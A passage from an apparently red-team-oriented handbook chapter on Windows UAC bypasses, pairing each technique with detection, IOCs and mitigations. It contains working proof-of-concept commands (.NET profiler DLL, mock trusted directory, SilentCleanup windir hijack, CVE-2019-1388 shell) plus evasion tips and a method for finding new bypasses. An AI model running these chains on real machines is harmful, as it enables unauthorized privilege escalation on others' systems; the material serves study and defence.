Payload Architecture-matched proxy DLL; KnownDlls names are not hijackable

Proof of concept

# .NET profiler variant — fully per-user, no privileged copy needed ([18], [21])
reg add "HKCU\Environment" /v COR_ENABLE_PROFILING /t REG_SZ /d 1 /f
reg add "HKCU\Environment" /v COR_PROFILER /t REG_SZ /d "{11111111-1111-1111-1111-111111111111}" /f   # any GUID; env-driven (illustrative)
reg add "HKCU\Environment" /v COR_PROFILER_PATH /t REG_SZ /d "C:\Users\%USERNAME%\evil.dll" /f
C:\Windows\System32\mmc.exe        # auto-elevated .NET host -> CLR loads evil.dll at High IL
# cleanup: reg delete "HKCU\Environment" /v COR_ENABLE_PROFILING /f (and the other two values)

OpSec & detection

  • Sysmon 7 (image load): Microsoft-signed elevated binaries loading the watchlist DLL names (section 5) from outside System32/KnownDlls — the highest-fidelity signal for this family.
  • Sysmon 13: HKCU\Environment writes of COR_PROFILER_PATH/COR_ENABLE_PROFILING (Splunk ".NET Profiler UAC bypass" ([34])) and IFEO VerifierDlls values.
  • Reduce noise: forward all exports faithfully so the host behaves normally; prefer still-UNFIXED targets (mmc.exe/atl.dll, pkgmgr.exe/DismCore.dll) whose load events have legitimate look-alikes — but expect DLL-plant telemetry regardless.

Mitigations

  • WDAC/AppLocker DLL rules for elevated Microsoft binaries; PreferSystem32Images; audit IFEO keys and HKCU\Environment; keep builds current — this family dies by hardening wave ([44]).

3.6 Mock trusted directories (path-normalization desync)

MITRE: T1548.002 + T1036 · Since: David Wells / Tenable, 2020, [UACME #52] · Affects: Windows 7 7600 → FIXED in Win11 24H2/25H2 via AppInfo changes ([1], [14])

A trust-check desync: AppInfo validates the trusted-directory requirement against the GetLongPathNameW-normalized path with RtlPrefixUnicodeString, but creates the process with the original path. A directory named C:\Windows \System32 (trailing space) normalizes to C:\Windows\System32 for the trust check while the loader uses the real, attacker-controlled directory — defeating the "secure location" pillar of auto-elevation ([14]).

Mechanics

  1. Create the mock directory — impossible from Explorer, trivial with the \\?\ prefix: md "\\?\C:\Windows \System32".
  2. Copy an auto-elevate EXE inside (Wells used easinvoker.exe, the Exchange ActiveSync Invoker) plus its hijackable DLL (netutils.dll).
  3. Launch C:\Windows \System32\easinvoker.exe. The trust check sees the space-stripped C:\Windows\System32\... and auto-elevates; the process loads the attacker DLL at High IL.
  4. In the wild: DBatLoader/ModiLoader dropping Remcos RAT/Formbook (SentinelOne/Zscaler 2023, adding C:\Users to Defender exclusions) ([28], [30]); Fickle Stealer with a fake WmiMgmt.msc plus MMC en-US localization lookup ([29]).

Prerequisites

Requirement Detail
Privileges Medium IL with rights to create C:\Windows \ (admin user — you have it); an auto-elevate binary + hijackable DLL pair
OS/build Win7 7600 → pre-24H2; FIXED in Win11 24H2/25H2 ([1])
Config Default UAC policy

Proof of concept

# Mock trusted directory chain ([14])
md "\\?\C:\Windows \System32"
copy C:\Windows\System32\easinvoker.exe "C:\Windows \System32\"
copy C:\Users\%USERNAME%\netutils.dll  "C:\Windows \System32\"   # proxy DLL (illustrative)
& "C:\Windows \System32\easinvoker.exe"                          # auto-elevates; loads netutils.dll High IL

OpSec & detection

  • Sysmon 1/11: any execution or file-create path containing trailing spaces — especially \Windows \ — is a near-perfect signal (SentinelOne recommendation ([28]); Sigma "TrustedPath UAC Bypass Pattern" ([37])). There is no meaningful noise reduction: the trailing-space path is the signature, so treat this family as burned on monitored estates.

Mitigations

  • Patch to Win11 24H2/25H2+ (AppInfo normalization fixed); alert on \\?\-prefixed directory creation under drive roots ([1], [28]).

3.7 SilentCleanup and scheduled-task environment abuse

MITRE: T1548.002 + T1053.005 · Since: enigma0x3, Jul 22 2016; generalized by James Forshaw, May 2017 · Affects: [UACME #34] listed UNFIXED and AlwaysNotify-compatible — but field reports show the SilentCleanup-specific vector mitigated on later Win10 builds; version-dependent (verify in lab) ([1], [9], [13])

The scheduled-task branch of environment abuse. The SilentCleanup Disk Cleanup task runs "with highest privileges" and its action contains %windir%\system32\cleanmgr.exe. Because scheduled-task actions expand environment variables in the user context, a per-user windir value under HKCU\Environment overrides the machine variable — and the task expands your string at High IL ([9], [13]).

Mechanics

  1. reg add hkcu\Environment /v windir /d "cmd.exe /c <payload> & rem " — the trailing & rem comments out the remainder of the expanded action line.
  2. schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I.
  3. Task Scheduler expands %windir%\system32\cleanmgr.exe ... in the user context at High IL → the payload runs elevated; the legitimate cleanmgr path is commented away.
  4. Restore the windir value for cleanup.

Related environment/scheduled-task vectors from the catalog: the DiskCleanup dismhost race — cleanmgr copies dismhost.exe + DLLs to %TEMP%\{GUID} and you race to overwrite LogProvider.dll before the High-IL process loads it (#26, Win10 10240 → fixed RS2 15031); volatile per-user SystemDirectory overrides (#44, bytecode77, fixed RS3 16299); clipup.exe + IEditionUpgradeManager %windir% (#58, fixed 24H2); the RequestTrace scheduled task (#80); and QuickAssist.exe EmbeddedBrowserWebView.dll + env/UIPI combo (#81, Win10 19041+, AlwaysNotify-compatible, UNFIXED) ([1]).

Prerequisites

Requirement Detail
Privileges Medium IL; HKCU\Environment writable (always)
OS/build Version-dependent — test against the exact target build (verify in lab)
Config Task present (default); AlwaysNotify-compatible per UACME (#34)

Proof of concept

# SilentCleanup windir hijack ([9], [13])
reg add hkcu\Environment /v windir /d "cmd.exe /c C:\path\payload.exe & rem " /f
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
# cleanup
reg delete hkcu\Environment /v windir /f

OpSec & detection

  • Sysmon 13: HKCU\Environment writes of windir (a value that essentially never legitimately exists per-user) — pair with COR_PROFILER_PATH hunting ([34]).
  • Sysmon 1: schtasks.exe /Run for SilentCleanup followed by a High-IL cmd.exe/payload spawned under Task Scheduler rather than cleanmgr.exe. Reduce noise with single-shot execution and immediate value deletion; name the payload like a maintenance binary.

Mitigations

  • Alert on per-user windir; WDAC child-process rules for Task Schedulerspawned interactive tools; note Always notify does not reliably kill this family ([4]).

3.8 Token manipulation and AppInfo protocol abuse

MITRE: T1548.002 + T1134.001/.002 · Since: James Forshaw / CIA-derived / hakril / antonioCoco & splintercod3 · Affects: per variant below ([1])

Instead of tricking an auto-elevated binary, these variants attack the token model or the AppInfo protocol itself. Four documented variants:

  1. Token modification [UACME #35, "CIA & James Forshaw"; Win7 → FIXED RS5 17686 by an added SeTokenCanImpersonate check in ntoskrnl]: duplicate the filtered token and flip it back to full via NtSetInformationToken-style manipulation, then spawn the elevated process. AlwaysNotify-compatible while it lived.
  2. SSPI datagram contexts [#78, antonioCoco/splintercod3; requires a non-blank password; partially patched ~Win10 19041/2024]: coerce a local elevated context through SSPI datagram RPC — the technique class KONNI used to bypass UAC even at "Always Notify" ([20]).
  3. RAiLaunchAdminProcess + DebugObject [#59, James Forshaw; Win7 7600+, UNFIXED]: abuse AppInfo's ALPC launch path (interface {201ef99a-7fa0-444c-9399-19ba84f12a1a}, see ([7])) with a debug object to inherit an elevated process ([1]).
  4. APPINFO command-line spoofing [#38, Clement Rouault "hakril"; Win7+, UNFIXED]: craft a process whose path spoof satisfies AppInfo's whitelist parsing (mmc.exe + trailing arguments), so AppInfo itself launches attacker content elevated ([24]).

Mechanics

The shared skeleton: obtain or forge what AppInfo/NT would only grant after consent — a full token (variant 1), an elevated logon context (variant 2), or AppInfo's own launch (variants 34) — then start the payload with it. No shell association, no DLL, no file copy; the abuse lives in token and protocol semantics.

Prerequisites

Requirement Detail
Privileges Medium IL protected admin; SSPI variant also needs the account's non-blank password
OS/build #35 fixed RS5 17686; #78 partially patched ~19041/2024; #59/#38 UNFIXED per UACME (verify in lab)
Tooling Custom code; reference implementations in UACME source ([1])

Proof of concept

# (illustrative) Lab validation only: inspect your own elevation state before/after any variant
whoami /groups | findstr /i "S-1-16"        # 8192 = Medium (filtered), 12288 = High, 16384 = System

For the weaponized implementations, read UACME methods 35, 38, 59, and 78 in the Akagi source ([1]) — reproducing them faithfully is a reverse-engineering exercise, not a copy-paste exercise.

OpSec & detection

  • Sysmon 10 (process access): handle/token duplication into known UAC-bypass binaries (fodhelper, eventvwr, computerdefaults, sdclt, slui, mmc, wsreset, pkgmgr) — Splunk "Windows Handle Duplication in Known UAC-Bypass Binaries" ([35]).
  • API telemetry: NtSetInformationToken, SSPI datagram RPC patterns, and elevation events with no consent.exe on the wire. These variants produce almost no registry/file artifacts — their footprint is API-call-shaped, so they survive registry-centric detections but light up ETW/API monitors.

Mitigations

  • Patch currency (RS5+ killed #35; 2024 hardening narrowed #78); Credential Guard-adjacent hygiene (no blank passwords); ETW-based API monitoring on admin workstations ([4], [44]).

3.9 CVE-2019-1388 (the certificate dialog that got a CVE)

MITRE: T1548.002 · Since: patched Nov 12, 2019; CISA KEV since Apr 2023; CWE-269 · Affects: unpatched Win7 SP1 → Win10 1709, Server 2008R2 → 2019 ([25], [27])

The exception that proves the "not a boundary" rule: the one UAC-dialog UI flaw Microsoft serviced. consent.exe runs as SYSTEM, and its "Show information about the publisher's certificate" dialog rendered a live "Issued by" hyperlink — a UI object in a SYSTEM process that an unelevated user could click ([25]).

Mechanics

  1. Launch any unsigned application with runas to trigger the consent dialog.
  2. "Show more details" → "Show information about the publisher's certificate".
  3. Click the issuer URL hyperlink → a browser opens in the elevated (SYSTEM) context.
  4. File → Save As → in the dialog address bar type C:\Windows\System32\cmd.exe → SYSTEM shell.
  5. Public PoC: nobodyatall648's write-up ([26]).

Prerequisites

Requirement Detail
Privileges Interactive session; an unsigned binary to launch
OS/build Unpatched Win7 SP1 → Win10 1709 / Server 2008R2 → 2019 (patched Nov 12, 2019)
Config Consent dialog enabled (any policy that prompts)

Proof of concept

1. Launch any unsigned app elevated (right-click > Run as administrator) -> consent.exe dialog   (illustrative)
2. "Show more details" > "Show information about the publisher's certificate"
3. Click the "Issued by" hyperlink -> browser opens as SYSTEM
4. File > Save As > address bar: C:\Windows\System32\cmd.exe  -> SYSTEM shell ([26])

OpSec & detection

  • Lineage: consent.exe spawning a browser, which spawns cmd.exe, is anomalous and trivially detectable — a legacy-estate canary. No noise reduction is possible: the chain is interactive, GUI-bound, and only relevant on unpatched hosts.

Mitigations

  • Apply the November 2019 patches; inventory unpatched 2008R2/Win7 estates (KEV-listed, actively exploited) ([25], [27]).

4. Tooling: UACME, Akagi, and validation frameworks

UACME (hfiref0x) is the canonical reference implementation and the de-facto method registry for this entire chapter: 82 numbered methods, each implemented as a self-contained ucm*Method module in the Akagi source, with the auto-approved elevated-interface definitions collected in comsup.h ([1]).

How to read the method list ([1]):

  • Numbering is the common language. [UACME #33] means "fodhelper ms-settings hijack" everywhere — in this chapter, in detection content, in threat reports. When a report says "CMSTPLUA," practitioners translate to #41.
  • Each entry records the vector, the author/source, the affected builds, and the "fixed in" build when one exists. Treat "fixed in" as the first build where Microsoft or silent hardening broke the method; methods without it are listed unfixed.
  • Families cluster by number: #1#30 are dominated by DLL hijacks armed via IFileOperation; #33#62 by registry/COM-interface vectors; #63+ by later elevated-interface discoveries (#82, UICleanmgrAdminHelper/UICleanmgrHelper via SystemSettingsAdminFlows.exe, Win10 19041+, is the newest as of v3.7.0).
  • Akagi runs a method by number for lab validation (e.g. Akagi64.exe 33), which makes UACME the fastest way to test "does method N survive on build X?" — the exact question that matters pre-engagement.

Warning: "Unfixed" is version-dependent. UACME marks items unfixed as of v3.7.x (2026), but independent testers report some listed-unfixed methods (fodhelper, SilentCleanup, mock dirs pre-24H2) behaving inconsistently across 22H225H2 due to silent hardening and AV/EDR interference. Treat "unfixed" as "UACME-listed unfixed," not a guarantee on a specific patched build — always validate with Akagi on a VM snapshotted to the target's exact build before relying on a method.

Validation and adversary-emulation tooling:

Tool Role
UACME / Akagi ([1]) Reference implementations of all 82 methods; red-team ranges and build-compat testing
Atomic Red Team T1548.002 ([31]) Reproducible per-technique tests: fodhelper, eventvwr, sdclt, WSReset (#23), SilentCleanup, CMSTPLUA, .NET profiler — built for detection validation
Metasploit bypassuac_eventvwr ([38]) Legacy eventvwr module (M. Nelson, M. Graeber, OJ Reeves) — useful for legacy estates
Sigma rules ([37]) Off-the-shelf registry_set / proc_creation coverage per family, for baseline detections

5. Detection and hunting

Telemetry sources (MITRE data sources: Process Creation, Windows Registry Key Creation/Modification, Module Load, Process Metadata — integrity level, OS API Execution such as CoGetObject/NtSetInformationToken):

Source What it catches here
Sysmon EID 1 (process create, IntegrityLevel + ParentImage) High-IL children of auto-elevate binaries; silent elevation lineage
Sysmon EID 7 (image load) Watchlist DLLs loaded from non-System32 paths by elevated MS-signed binaries
Sysmon EID 10 (process access) Handle/token duplication into known bypass binaries ([35])
Sysmon EID 11 (file create) System32 writes by Medium-IL processes (IFileOperation); mock dirs with trailing spaces; %TEMP%\{GUID}\dismhost staging
Sysmon EID 12/13 (registry key/value) Every IOC key below ([32], [33], [34], [37])
Security 4688 (+command line), 4657/4663; ETW Microsoft-Windows-Kernel-Process Native-audit equivalents where Sysmon is absent; token/integrity transitions

Registry IOC table (writes = high-fidelity signal):

Key / value Technique
HKCU\Software\Classes\ms-settings\Shell\Open\command ((Default), DelegateExecute) fodhelper / computerdefaults / slui-family
HKCU\Software\Classes\mscfile\shell\open\command eventvwr
HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe sdclt (legacy)
HKCU\Software\Classes\Folder\shell\open\command sdclt v2/v3
HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command WSReset
HKCU\Software\Classes\CLSID\{...} (InprocServer32/handler redirects) COM handler hijack
HKCU\Environment (windir, COR_ENABLE_PROFILING, COR_PROFILER, COR_PROFILER_PATH) SilentCleanup / .NET profiler
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System (EnableLUA, ConsentPromptBehaviorAdmin→0, PromptOnSecureDesktop→0) UAC weakening (needs existing admin — post-exploitation signal)
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe> (VerifierDlls) AppVerifier/IFEO variant
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList (reference/defense) tampering with the silent-elevation allow-list

CLSID/IID watchlist: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} (CMSTPLUA); IID {6EDD6D74-C007-4E75-B76A-E5740995E24C} (ICMLuaUtil); {3AD05575-8857-4850-9277-11B85BDB8E09} (FileOperation); {A6BFEA43-501F-456F-A845-983D3AD7B8F0} (ElevatedFactoryServer); IID {804bd226-af47-4d71-b492-443a57610b08} (IElevatedFactoryServer); {0f87369f-a4e5-4cfc-bd3e-73e6154572dd} (TaskScheduler); and the string Elevation:Administrator!new: — often stored reversed or XORed in malware.

Auto-elevate binaries commonly abused: fodhelper, computerdefaults, eventvwr, sdclt, wsreset, slui, changepk, mmc, osk, msconfig, colorcpl/dccw, sysprep, cliconfg, migwiz, mcx2prov, winsat, pkgmgr, msdt, sdiagnhost, iscsicpl, easinvoker, credwiz, inetmgr, BitlockerWizardElev, TpmInit, clipup, taskhostw, QuickAssist, SystemSettingsAdminFlows, CompMgmtLauncher (legacy), wusa, consent, rstrui, recdisc, ieinstal.

DLL names to watch outside System32/KnownDlls: cryptbase, cryptsp, wdscore, ntwdblib, dbgcore, unbcl, actionqueue, unattend, shcore, comctl32 (DotLocal), elsext, wbemcomn, atl, mscoree, slc, netutils, dismcore, gdiplus, powprof, devobj, wow64log, duser, osksupport, pcadm, PerformanceTraceHandler, EmbeddedBrowserWebView, BluetoothDiagnosticUtil, iscsiexe, srrstr, LogProvider.dll (in %TEMP%\{guid}).

High-fidelity behavioral patterns:

  1. High-integrity child process (cmd/powershell/payload in user paths) whose parent is a known auto-elevate binary (fodhelper, computerdefaults, eventvwrmmc, sdclt, wsreset, ...) — near-zero FP ([32], [36]).
  2. Registry write to a watched association key (or emptied DelegateExecute) followed within seconds by the matching System32 binary — the classic automated chain ([33], [37]).
  3. HKCU\Environment writes of windir / COR_PROFILER_PATH plus schtasks /Run /TN ...SilentCleanup ([34]).
  4. Process execution whose path contains trailing spaces (C:\Windows \System32\...) — mock trusted directory ([28], [37]).
  5. Image loads of the watchlist DLLs from non-System32 locations by elevated Microsoft-signed processes.
  6. Elevation events with no consent.exe on the wire (silent elevation), plus command lines/strings containing Elevation:Administrator!new: (hunt reversed/XORed forms too).

6. Mitigations and hardening

Ordered by impact ([1], [4], [44]):

  1. Standard-user accounts — the #1 control, per UACME itself. No admin token, no bypass possible. Pair with Privileged Access Management (M1026); this single decision retires the entire chapter.
  2. UAC slider to Always notify (ConsentPromptBehaviorAdmin=2, PromptOnSecureDesktop=1): kills most auto-elevate bypasses — but not all: SilentCleanup env (#34), token modification (#35), the DiskCleanup race (#26), SSPI (#78), PCA (#69), RequestTrace (#80), and QuickAssist (#81) are AlwaysNotify-compatible per UACME. Defense-in-depth remains mandatory.
  3. Lock the policy knobs: ConsentPromptBehaviorUser=0 (auto-deny for standard users); keep EnableLUA=1; set FilterAdministratorToken=1 for the built-in Administrator; keep PromptOnSecureDesktop=1.
  4. Application control: WDAC/AppLocker rules blocking child processes of auto-elevate binaries and DLL loads from user-writable paths; the PreferSystem32Images mitigation; attack-surface monitoring of every §5 registry key.
  5. Patch currency: many methods died via OS hardening — RS1RS5 shell updates, the 19H1 COM-handler fix, and Win11 24H2/25H2 (which killed mock dirs, the consent DotLocal, wow64log, dccw, .NET deserialization, wsreset, IEditionUpgradeManager, and taskhostw PCA). Current builds materially shrink the surface.
  6. Assume breach: detect (§5) rather than prevent; monitor LocalAccountTokenFilterPolicy/EnableLUA tampering — both require prior admin and are therefore post-exploitation signals ([4], [44]).

Research Lab: Finding New UAC Bypasses

Hunting hypothesis

Three classes of new bugs remain in this category:

  1. Undocumented methods on already-approved COM classes. COMAutoApprovalList contains more classes than have been publicly weaponized, and each is one vtable away from a ShellExec-grade primitive — the newest UACME method (#82, UICleanmgrAdminHelper/UICleanmgrHelper via SystemSettingsAdminFlows.exe, v3.7.0) was found exactly this way ([1], [39]).
  2. New auto-elevated binaries with poisonable inputs. Every Windows feature update ships new Microsoft-signed System32 EXEs; each new autoElevate manifest, each new HKCU\Software\Classes read, and each new unqualified non-KnownDlls import is a candidate (fodhelper itself was a Windows 10 addition ([12])).
  3. New expansion/normalization desyncs. SilentCleanup (environment expansion ([13])) and mock directories (path normalization ([14])) are one bug class: the trust checker and the executor disagree about a string. Scheduled-task actions, SxS redirection, WOW64 paths, and package-relative paths remain under-audited for the same desync.

Enumeration

Build the target list before testing anything.

# 1. COM classes approved for silent elevation (the master list)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList"

# 2. Classes registered for elevation via Elevation\Enabled = 1  (illustrative sketch)
Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" -ErrorAction SilentlyContinue | Where-Object {
    (Get-ItemProperty "$($_.PSPath)\Elevation" -ErrorAction SilentlyContinue).Enabled -eq 1
} | Select-Object -ExpandProperty PSChildName

# 3. Auto-elevate manifests in System32 (manifest XML is embedded in the binary)  (illustrative)
findstr /m /c:"autoElevate" C:\Windows\System32\*.exe

# 4. High-privilege scheduled tasks whose action expands an environment variable (SilentCleanup pattern)
schtasks /query /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /xml & schtasks /query /xml | findstr /i "HighestAvailable"

In OleViewDotNet (run as administrator): cross-reference the COMAutoApprovalList CLSIDs against their registrations, dump each class's interfaces and methods from its type library or proxy stub, and rank methods by argument types — BSTR command/path parameters first. The ICMLuaUtil pattern (placeholder vtable slots, then ShellExec) is what you are hunting ([22]).

Triage heuristics

A candidate is promising if it checks most of these boxes:

  • Auto-approved: on COMAutoApprovalList, or autoElevate="true" + Microsoft-signed + secure directory (the §1 conditions).
  • Reachable from Medium IL at default policy — activation/launch produces no consent.exe in a default-slider VM.
  • Exposes an attacker-controlled surface: BSTR command/path method parameters, unqualified non-KnownDlls imports, HKCU\Software\Classes reads, or %var% inside a highest-privileges task action.
  • Fileless or registry-only preferred — no writes into protected paths means a longer shelf life.
  • Not already among UACME's 82 methods ([1]) — check first; novelty is the contribution.
  • Survives Always notify — the premium property; per UACME only #26, #34, #35, #69, #78, #80, #81 have it.

Analysis workflow

Static checklist: signature and manifest (autoElevate, uiAccess, requestedExecutionLevel) → import table versus KnownDlls → strings for HKCU\Software\Classes, DelegateExecute, Elevation:Administrator!new:, %windir%-style expansions → vtable/type-library dump for approved COM classes → AppID launch/access security descriptors for surrogate-hosted classes (the ElevatedFactoryServer lesson ([19])).

Dynamic: snapshot a default-policy VM with Sysmon; run ProcMon with filters:

  • Process Name is <target.exe> + Operation is RegOpenKey + Path contains HKCU\Software\Classes or HKCU\Environment — association/env reads by an about-to-be-elevated binary.
  • Operation is CreateFile / image loads + Path ends with <watchlist DLL> + Result is NAME NOT FOUND in System32 — search-order hijack candidates.
  • Then loop candidate CLSIDs through the elevation moniker from a Medium-IL harness, logging HRESULT, whether consent.exe appeared, and whether a High-IL child or side effect resulted (illustrative sketch):
// (illustrative) elevated-class probing harness — run at Medium IL on a default-policy VM
foreach (var clsid in candidateClsids)
    CoGetObject($"Elevation:Administrator!new:{clsid}", bindOpts3 /* CLSCTX_LOCAL_SERVER */, ...);
    // log per candidate: HRESULT | consent.exe observed? | new High-IL process? (Sysmon 1 IntegrityLevel)

Fuzzing/mutation ideas

Typed mutation beats blind bit-flipping; the interesting space is the trust inputs:

  • Verb-shape mutation across every ProgID/protocol an elevated binary resolves: (Default) versus DelegateExecute permutations, ProgID versus protocol versus AppID keys (the WSReset AppX82a6... pattern), HKCU versus merged-view edge cases.
  • Typed argument mutation on elevated interfaces: for ShellExec-shaped methods — NULL/empty lpDirectory, UNC lpFile, very long strings; for copy-shaped methods — junction/symlink sources, trailing-space/dot destinations (mock-dir DNA), SxS DotLocal payloads.
  • Environment mutation: every %var% inside any highest-privileges task action is a SilentCleanup candidate; mutate HKCU\Environment systematically (windir, SystemDirectory (#44), COR_ENABLE_PROFILING/COR_PROFILER/COR_PROFILER_PATH).
  • Path-normalization desyncs: trailing space/dot, \\?\ prefixes, NTFS junctions (the dccw.exe #36/#37 pattern) — anywhere a checker and a creator might normalize differently.
  • Vtable probing of approved classes: published interfaces may be incomplete (CallCustomActionDll was found by reversing ([22])); call vtable slots with benign arguments on a snapshot VM and watch for elevated side effects.

From lead to primitive

  1. Prove silent elevation: at Medium IL on a default-policy VM, success means the side effect happens and consent.exe never starts (Sysmon 1).
  2. Prove the integrity jump: the child/side effect runs at High (S-1-16-12288) or System (S-1-16-16384) — capture with whoami /groups or Process Explorer.
  3. Minimize the trigger: fewest artifacts; registry-only beats file-backed, file-backed beats race-dependent.
  4. Build the matrix: builds × slider positions × AV/EDR; record the exact fixed-in build if one exists — that is citable data in UACME README format.
  5. Confirm novelty against UACME ([1]) and Atomic Red Team ([31]); the publication bar is a new CLSID/key/binary + a reproducible chain + a telemetry map (lineage, events, IOCs).
  6. Ship the detection with the bypass — a Sigma rule ([37]) and Sysmon config alongside the write-up is what separates research from malware documentation.

Further reading

  • swapcontext, UAC bypasses from COMAutoApprovalList — enumerating and weaponizing the approved-class list ([39])
  • James Forshaw, Calling Local Windows RPC Servers — AppInfo's RPC interface and RAiLaunchAdminProcess ([7])
  • hfiref0x, UACME — the 82-method corpus; read comsup.h and the ucm*Method modules ([1])
  • David Wells / Tenable, UAC Bypass by Mocking Trusted Directories — the normalization-desync blueprint ([14])
  • zcgonvh, Advanced Windows Task Scheduler Playbook Part 2 — from COM to UAC bypass to SYSTEM ([19])
  • James Forshaw, Reading Your Way Around UAC — deep UAC internals series ([40])

References

[1] UACME — Defeating Windows User Account Control — hfiref0x (2026, v3.7.x) — https://github.com/hfiref0x/UACME [2] MITRE ATT&CK T1548.002 — Bypass User Account Control — MITRE — https://attack.mitre.org/techniques/T1548/002/ [3] How User Account Control works — Microsoft Learn — https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/how-it-works [4] User Account Control settings and configuration — Microsoft Learn — https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/settings-and-configuration [5] The COM Elevation Moniker — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker [6] Microsoft Security Servicing Criteria for Windows — Microsoft/MSRC — https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria [7] Calling Local Windows RPC Servers — James Forshaw, Google Project Zero (2019) — https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html [8] "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ [9] Bypassing UAC on Windows 10 using Disk Cleanup — enigma0x3 (2016) — https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/ [10] Bypassing UAC using App Paths — enigma0x3 (2017) — https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ [11] "Fileless" UAC Bypass using sdclt.exe — enigma0x3 (2017) — https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ [12] First entry: Welcome and fileless UAC bypass (fodhelper) — winscripting.blog (2017) — https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/ [13] Exploiting Environment Variables in Scheduled Tasks for UAC Bypass — James Forshaw (2017) — https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html [14] UAC Bypass by Mocking Trusted Directories — David Wells, Tenable TechBlog (2020) — https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e [15] Fileless UAC Bypass in Windows Store Binary (WSReset) — Hashim Jawad, ActiveCyber (2019) — https://www.activecyber.us/1/post/2019/03/windows-uac-bypass.html [16] Yet another sdclt UAC bypass — Emeric Nasi, sevagas — http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass [17] MSDT DLL Hijack UAC bypass — Emeric Nasi, sevagas — https://blog.sevagas.com/?MSDT-DLL-Hijack-UAC-bypass [18] UAC bypass via elevated .NET applications — offsec.provadys — https://offsec.provadys.com/UAC-bypass-dotnet.html [19] Advanced Windows Task Scheduler Playbook Part 2 (IElevatedFactoryServer) — zcgonvh — http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html [20] Bypassing UAC with SSPI Datagram Contexts — antonioCoco, splintercod3 — https://splintercod3.blogspot.com/p/bypassing-uac-with-sspi-datagram.html [21] Mitigate some Exploits for Windows UAC (incl. MSRC case 64957 quote) — Stefan Kanthak — https://skanthak.hier-im-netz.de/uacamole.html [22] Reversing ICMLuaUtil: ShellExec and CallCustomActionDll — codedintrusion — https://codedintrusion.com/posts/reversing-icmluautil/ [23] Creative UAC Bypass Methods for the Modern Era — g3tsyst3m — https://g3tsyst3m.github.io/privilege%20escalation/Creative-UAC-Bypass-Methods-for-the-Modern-Era/ [24] UAC Bypass or story about three escalations (hakril APPINFO spoof) — Positive Research, Habr — https://habrahabr.ru/company/pm/blog/328008/ [25] NVD — CVE-2019-1388 Detail — NIST — https://nvd.nist.gov/vuln/detail/CVE-2019-1388 [26] CVE-2019-1388 — Abuse UAC Windows Certificate Dialog (PoC) — nobodyatall648 — https://github.com/nobodyatall648/CVE-2019-1388 [27] CISA Known Exploited Vulnerabilities Catalog — CISA — https://www.cisa.gov/known-exploited-vulnerabilities-catalog [28] DBatLoader and Remcos RAT Sweep Eastern Europe — SentinelOne — https://www.sentinelone.com/blog/dbatloader-and-remcos-rat-sweep-eastern-europe/ [29] Fickle Stealer Distributed via Multiple Attack Chain — Fortinet FortiGuard Labs — https://www.fortinet.com/blog/threat-research/fickle-stealer-distributed-via-multiple-attack-chain [30] Old Windows 'Mock Folders' UAC bypass used to drop malware — BleepingComputer (2023) — https://www.bleepingcomputer.com/news/security/old-windows-mock-folders-uac-bypass-used-to-drop-malware/ [31] Atomic Red Team T1548.002 tests — Red Canary — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md [32] Detection: FodHelper UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/909f8fd8-7ac8-11eb-a1f3-acde48001122/ [33] Detection: WSReset UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/8b5901bc-da63-11eb-be43-acde48001122/ [34] Detection: .NET Profiler UAC bypass — Splunk Threat Research — https://research.splunk.com/endpoint/0252ca80-e30d-11eb-8aa3-acde48001122/ [35] Windows Handle Duplication in Known UAC-Bypass Binaries — Splunk Threat Research — https://research.splunk.com/endpoint/d7369bf5-1315-4138-b927-2dd8bb8c1da7/ [36] Windows UAC Bypass Suspicious Child Process — Splunk Threat Research — https://research.splunk.com/endpoint/453a6b0f-b0ea-48fa-9cf4-20537ffdd22c/ [37] Sigma — Generic Signature Format for SIEM Systems (UAC bypass rule set) — SigmaHQ — https://github.com/SigmaHQ/sigma [38] Metasploit module: bypassuac_eventvwr — Rapid7 — https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/bypassuac_eventvwr.rb [39] UAC bypasses from COMAutoApprovalList — swapcontext (2020) — https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html [40] Reading Your Way Around UAC (Parts 13) — James Forshaw (2017) — https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-1.html [41] Accessing Access Tokens for UIAccess — James Forshaw (2019) — https://tyranidslair.blogspot.com/2019/02/accessing-access-tokens-for-uiaccess.html [42] UAC Bypass via SystemPropertiesAdvanced.exe and DLL Hijacking — egre55 — https://egre55.github.io/system-properties-uac-bypass/ [43] Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses — V3ded — 